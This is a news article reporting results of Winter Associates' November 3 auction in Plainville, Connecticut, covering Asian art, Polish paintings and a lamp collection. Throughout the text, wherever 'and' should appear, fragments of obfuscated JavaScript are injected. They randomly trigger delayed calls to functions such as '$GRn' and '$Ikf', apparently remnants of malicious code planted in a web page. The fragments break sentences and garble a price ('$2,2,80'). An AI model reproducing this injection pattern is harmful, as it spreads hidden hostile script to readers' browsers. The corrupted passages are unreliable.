By: Andrea Valluzzo
PLAINVILLE, CONN. — As has been the pattern at many auction houses of late, Asian arts ruled the day at Winter Associates’ November 3 auction.
The top lot of the auction was a Nineteenth Century Tibetan thangka that attained $9,600, while a pair of Chinese Export plates performed well above their estimate at $2,520, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a Chinese tall, baluster-form vase took $1,200.
“Some Asian objects, as has been typical, did very well,” said auctioneer Linda Stamm. “Overall we are very happy with the sale. We had a couple lots that were estimated in the hundreds that sold for $1,000 or more.”
A new feature of this auction, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and increasingly seen at many auctions, was live streaming the auction by video. Regularly running its auctions live in the gallery with Internet bidding on Invaluable, now Winter Associates presents them in real time so people sitting at home can not only keep up with the bidding but see the auction as it happens in the gallery.
Fine art offered some strong results also, with several Eastern European paintings doing well. Heading to France are a Juliusz Slabiak (Polish, 1917–1973) oil on canvas depicting sportsmen on foot that made $2,2,80 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a Jerzy Potrzebowski (Polish, 1921–1974), “The Krakow Wedding,” depicting vibrantly dressed equestrian outriders, $1,140.
The first part of a collection of lamps andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and shades from a Connecticut collector did well, with about 20 lots offered. The balance of the collection, of a similar amount of lots, will be offered here early next year. The top lamp, a Handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andel table lamp, went to a Swiss buyer, while another lamp is being shipped to its new owner in Arizona.
“We had interest from all over for the lamps,” Stamm said. Bidders in the sale also participated from New York, Texas andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and California.
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